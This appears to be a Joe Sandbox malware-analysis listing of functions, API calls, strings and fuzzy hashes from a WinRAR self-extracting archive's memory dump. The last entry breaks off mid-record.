Function 00DE04EA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 230COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000000,?,00000105), ref: 00DE0523
EndDialog.USER32(?,00000001), ref: 00DE07DA

Strings

@set:user, xrefs: 00DE0641
RarSFX, xrefs: 00DE0562, 00DE058E

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: DialogPathTemp
String ID: @set:user$RarSFX
API String ID: 975991991-2180683088
Opcode ID: 648f829356a5cdf4989f0e76144ff4cf249a80452a5a4e0e8ced1dca3373a328
Instruction ID: a7c902c5263c7ec4d132b4ff6fb025494f580de6225d30fb1338b243d6022f2a
Opcode Fuzzy Hash: 648f829356a5cdf4989f0e76144ff4cf249a80452a5a4e0e8ced1dca3373a328
Instruction Fuzzy Hash: AC915B389042A99ADB24FB60CC51BEDBB74AF65300F54419DE84A73193EFB05EC9CA71

Function 00DCF3B3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DCF3BD

Part of subcall function 00DD7659: GetSystemTime.KERNEL32(?), ref: 00DD7670
Part of subcall function 00DD7659: SystemTimeToFileTime.KERNEL32(?,?), ref: 00DD767E

Part of subcall function 00DD7591: __aulldiv.LIBCMT ref: 00DD759A

__aulldiv.LIBCMT ref: 00DCF3E8
GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,000000A4,00DCC2CD,__tmp_reference_source_,-00000001,00000000,00000000), ref: 00DCF3EF

Strings

.rartemp, xrefs: 00DCF466

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Time$System__aulldiv$CurrentFileH_prolog3_Process
String ID: .rartemp
API String ID: 1329492427-2558811017
Opcode ID: 140e0bc6d0f9562f26c2151d719118b9ac32b300fd8b301ec31dbea84ca0d8c4
Instruction ID: 955dae4ddd48159dae7d9d16c51d77334f653f8729d352870c9c69cdf8373f42
Opcode Fuzzy Hash: 140e0bc6d0f9562f26c2151d719118b9ac32b300fd8b301ec31dbea84ca0d8c4
Instruction Fuzzy Hash: 08316E34A002599ADB18EBA4C852FEDB3B5EF55300F6081ADE059A7192DF705F09CB72

Function 00DDDAD3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00DDDB17, 00DDDB4E
RENAMEDLG, xrefs: 00DDDB2A

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 44602fb6543f9caf9aef4fd8b561e6a40465bfca6445088e378e271bfbce74c2
Instruction ID: a9271261d6be39f4c555a400d6503eaccb4fd480fea43ccbd7a066b4242a8a70
Opcode Fuzzy Hash: 44602fb6543f9caf9aef4fd8b561e6a40465bfca6445088e378e271bfbce74c2
Instruction Fuzzy Hash: 5901B172614210AFDB105F26AC44E667BFAD789748F0A402BF142B33B3C2225C888B34

Function 00DDBA59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 00DDBA90
RegisterClassExW.USER32(00000030), ref: 00DDBAB1

Strings

RarHtmlClassName, xrefs: 00DDBAA7
0, xrefs: 00DDBA6F

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$RarHtmlClassName
API String ID: 1693014935-3342523147
Opcode ID: 0d8f4095804ced938d073a0c618054263c973e49dd58bcb6df97875ca6874148
Instruction ID: e28ee2fe449118135ff3c0f453eef44cddb827d2eb836c8d12684e71d6d7bf07
Opcode Fuzzy Hash: 0d8f4095804ced938d073a0c618054263c973e49dd58bcb6df97875ca6874148
Instruction Fuzzy Hash: 0EF0C9B1D01219AFCB009F9AD8855DEFBB8FB48355F50502EE505B7340D7B45A048FA4

Function 00DF4D5D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(381977BE,00000000,00000000,00000008), ref: 00DF4DC0

Part of subcall function 00DF0E6B: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00DEF84E,?,00000000,-00000008), ref: 00DF0ECC

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00DF5012
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00DF5058
GetLastError.KERNEL32 ref: 00DF50FB

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 0f3f10069cd93654e27ec81e111fe7c7a84b8aba9bf9661537c8f8b31aa3100c
Instruction ID: 5cad849b403b841c6290ce068301eee76e115a3812806e638256e8034c03d71a
Opcode Fuzzy Hash: 0f3f10069cd93654e27ec81e111fe7c7a84b8aba9bf9661537c8f8b31aa3100c
Instruction Fuzzy Hash: BCD17C75D0064C9FCF15CFA8D880AAEBBB5FF09310F19812AE655EB351D730A941CB60

Function 00DE64EA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00DE65B1
___AdjustPointer.LIBCMT ref: 00DE65D4
___AdjustPointer.LIBCMT ref: 00DE6670

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 1578b25163c5f74c5dfb213e9c03c82ad8bad95a2d555894f632fef7d23ae467
Instruction ID: 5cda8f383ccedfedd115b7b655d34c9754b75afcc86df0433e7e9cf597658507
Opcode Fuzzy Hash: 1578b25163c5f74c5dfb213e9c03c82ad8bad95a2d555894f632fef7d23ae467
Instruction Fuzzy Hash: 43510172A00682AFDB29AF16D855B7A77B4FF20350F18416DEC06576A1E731ED81CBB0

Function 00DCE7AF Relevance: 6.1, APIs: 4, Instructions: 115fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DCE7B6
GetStdHandle.KERNEL32(000000F5,0000002C,00DD26A7,?,?,?,?,00000000,00DDA1F2,?,?,?,?,?,00DDA19F,?), ref: 00DCE7DF
WriteFile.KERNEL32(?,?,?,00000000,00000000,?,00000000,?,?,00000000,00DDA1F2,?,?,?,?,?), ref: 00DCE825

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: FileH_prolog3_HandleWrite
String ID:
API String ID: 2898186245-0
Opcode ID: 9ed029b5e67a4782826eb291d5bb4419288bd94f14cb7716a54b2c300bb78c35
Instruction ID: 94a03b454c1abea51de0b13b6c6ccad5612e241dd1f47810324096ceaac2cf16
Opcode Fuzzy Hash: 9ed029b5e67a4782826eb291d5bb4419288bd94f14cb7716a54b2c300bb78c35
Instruction Fuzzy Hash: AE4189B5A0121AABDF14DF64D884FADBB7AEF85710F08811DF801AB281CB719D44CBB1

Function 00DEFB2A Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00DF0E6B: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00DEF84E,?,00000000,-00000008), ref: 00DF0ECC

GetLastError.KERNEL32 ref: 00DEFB8E
__dosmaperr.LIBCMT ref: 00DEFB95
GetLastError.KERNEL32(?,?,?,?), ref: 00DEFBCF
__dosmaperr.LIBCMT ref: 00DEFBD6

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 04cda41b6da1f2641a92a33c3708d46e3106a83ee9648eb5330607d986cd82ab
Instruction ID: f4b6c5624b8ce0ee37a9627806d8a89f019103a0b49db96d8d68908f48039bcc
Opcode Fuzzy Hash: 04cda41b6da1f2641a92a33c3708d46e3106a83ee9648eb5330607d986cd82ab
Instruction Fuzzy Hash: B3219D71604799AF9B20BF62C8A0D6BBBADEF003647148529F969D7251D730EC40CBB1

Function 00DF0F0E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00DF0F16

Part of subcall function 00DF0E6B: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00DEF84E,?,00000000,-00000008), ref: 00DF0ECC

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DF0F4E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DF0F6E

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 6e1cff77cf942fb0b2c15f492572cd566fe74c0866bbec008feb586b6928a620
Instruction ID: 1ec72dd492e5f98da0d1c3c82b5235b05a72227767c573d5c565444433837bc0
Opcode Fuzzy Hash: 6e1cff77cf942fb0b2c15f492572cd566fe74c0866bbec008feb586b6928a620
Instruction Fuzzy Hash: E91122B150975DBEAB3127B69C89CBF7E6CEE843A43168425F602DB202EB24DD0181B1

Function 00DF7427 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00DF6803,00000000,00000001,?,00000008,?,00DF514F,00000008,00000000,00000000), ref: 00DF743E
GetLastError.KERNEL32(?,00DF6803,00000000,00000001,?,00000008,?,00DF514F,00000008,00000000,00000000,00000008,00000008,?,00DF56F2,00000000), ref: 00DF744A

Part of subcall function 00DF7410: CloseHandle.KERNEL32(FFFFFFFE,00DF745A,?,00DF6803,00000000,00000001,?,00000008,?,00DF514F,00000008,00000000,00000000,00000008,00000008), ref: 00DF7420

___initconout.LIBCMT ref: 00DF745A

Part of subcall function 00DF73C5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00DF73F4,00DF67F0,00000008,?,00DF514F,00000008,00000000,00000000,00000008), ref: 00DF73D8

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,00DF6803,00000000,00000001,?,00000008,?,00DF514F,00000008,00000000,00000000,00000008), ref: 00DF746F

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 4a42ebd44c2fd0002f981b7f95681719960fb2d92d0742b1096c3d7bbaed1217
Instruction ID: 18a754257fb167a38e91e8f599bd67de3f6dc5e18434f2cf472c5389b16c1cc2
Opcode Fuzzy Hash: 4a42ebd44c2fd0002f981b7f95681719960fb2d92d0742b1096c3d7bbaed1217
Instruction Fuzzy Hash: 1BF09E36544118BBCF222F95DC059AA7E65FB093A1B46C411FE5995120DB32C861DBB4

Function 00DE301E Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00DE2FBB,00000064), ref: 00DE3041
LeaveCriticalSection.KERNEL32(00E090B0,00000039,?,00DE2FBB,00000064,?,00E13550,?,00DD7F1E,00E13550,00000254,00DC3112,00000039,?), ref: 00DE304B
WaitForSingleObjectEx.KERNEL32(00000039,00000000,?,00DE2FBB,00000064,?,00E13550,?,00DD7F1E,00E13550,00000254,00DC3112,00000039,?), ref: 00DE305C
EnterCriticalSection.KERNEL32(00E090B0,?,00DE2FBB,00000064,?,00E13550,?,00DD7F1E,00E13550,00000254,00DC3112,00000039,?), ref: 00DE3063

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 5f69dd0c04b2e2fc3fb481279cf6affe89a4dd1813b88251f84dbcb86ea64ab9
Instruction ID: 19fc58914482faaf9f1d0893e595346d59ae94acaf5639fa07862ee517b2390e
Opcode Fuzzy Hash: 5f69dd0c04b2e2fc3fb481279cf6affe89a4dd1813b88251f84dbcb86ea64ab9
Instruction Fuzzy Hash: 34E06D31501324ABCB112F45EC1DABE3A24AB09B20B048012F909A62A2CB621940CBF9

Function 00DDC73E Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00DDC741
GetDeviceCaps.GDI32(00000000,00000058), ref: 00DDC750
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00DDC75E
ReleaseDC.USER32(00000000,00000000), ref: 00DDC76C

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: d99e55e9bb658130622b967b23ae2bc88c5bc634cd2871ed02148f44dc5d4fe2
Instruction ID: 338d5246fe0d296bb54c2e88dcfd124416d52d7414a831bbd521b32eb5e97f1b
Opcode Fuzzy Hash: d99e55e9bb658130622b967b23ae2bc88c5bc634cd2871ed02148f44dc5d4fe2
Instruction Fuzzy Hash: A5E0E6B1642620AFD6511FB36D0DBD73B54DB49712F01C111F706BA3D1C664444C8F91

Function 00DD1520 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DD1527

Strings

UNC, xrefs: 00DD15E3
\\?\, xrefs: 00DD1540

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: H_prolog3_
String ID: UNC$\\?\
API String ID: 2427045233-253988292
Opcode ID: c587b157d1a737b06d95007813506f970d20088f2741d374f87cf227e23b1648
Instruction ID: f4b88f48b3ab29f225fbe3ba257826f18ba8ca98871809ce91dd38e38a738730
Opcode Fuzzy Hash: c587b157d1a737b06d95007813506f970d20088f2741d374f87cf227e23b1648
Instruction Fuzzy Hash: 2151AF38A00115AACF14FBA4C8A2FFD777AEF56710F04415EF442A72D2DE645A4AC671

Function 00DE6AE6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00DE6B0B

Strings

MOC, xrefs: 00DE6B1D
RCC, xrefs: 00DE6B25

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 3b1e20e50b96508ebe6ab30300e30d4993bff93418d3ea991c1b986aa09f2bd4
Instruction ID: f12592bc70d4a785b84c4aba10c87d10959cfcfbb0b768e85fc44793240e51a8
Opcode Fuzzy Hash: 3b1e20e50b96508ebe6ab30300e30d4993bff93418d3ea991c1b986aa09f2bd4
Instruction Fuzzy Hash: DD416C71900289AFCF15EFA9CD81AEE7BB5FF18344F184069F904A7261D335D950DB60

Function 00DD4D61 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00DD4B72: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00DD4B91
Part of subcall function 00DD4B72: GetProcAddress.KERNEL32(00E09860,CryptUnprotectMemory), ref: 00DD4BA1

GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,00DD4C55), ref: 00DD4DF1

Strings

CryptUnprotectMemory failed, xrefs: 00DD4DEA
CryptProtectMemory failed, xrefs: 00DD4DAD

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: a6806efd1bd5ad8e8267aeaf0d5e9c43bb4d98cc3ffa4a37e3ffd3454e7d6202
Instruction ID: 8614eccc23efd5c732014388fb2fe2d5de9fb7f09a2524340d3cef3e1758b674
Opcode Fuzzy Hash: a6806efd1bd5ad8e8267aeaf0d5e9c43bb4d98cc3ffa4a37e3ffd3454e7d6202
Instruction Fuzzy Hash: E8115632A04B216BD7251B2AAC45A7E779DEF82760708811FF854EB3D3EB309C4182B1

Function 00DDE080 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000001), ref: 00DDE0D7
SetDlgItemTextW.USER32(?,00000067,?), ref: 00DDE11B

Strings

GETPASSWORD1, xrefs: 00DDE0A3

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: DialogItemText
String ID: GETPASSWORD1
API String ID: 1552716189-3292211884
Opcode ID: 163e40414f71bae5ea3664d7a37645beda606589510d906d0ca61913944ada66
Instruction ID: 7435e16af998b658b57ec1b6611934ffb1324e85422597c02dfe96a3362cd1f6
Opcode Fuzzy Hash: 163e40414f71bae5ea3664d7a37645beda606589510d906d0ca61913944ada66
Instruction Fuzzy Hash: C211C871B00218ABD714AF29DD4AFBA376CEB49700F04402AF645B7381DA75AD45C675

Function 00DD6FD9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,?,00DCFDA5,00000008,00000004,00DD26C1,?,?,?), ref: 00DD7024
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00DCFDA5,00000008,00000004,00DD26C1,?,?,?,?,00000000), ref: 00DD7036

Strings

Thread pool initialization failed., xrefs: 00DD7052

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Create$EventSemaphore
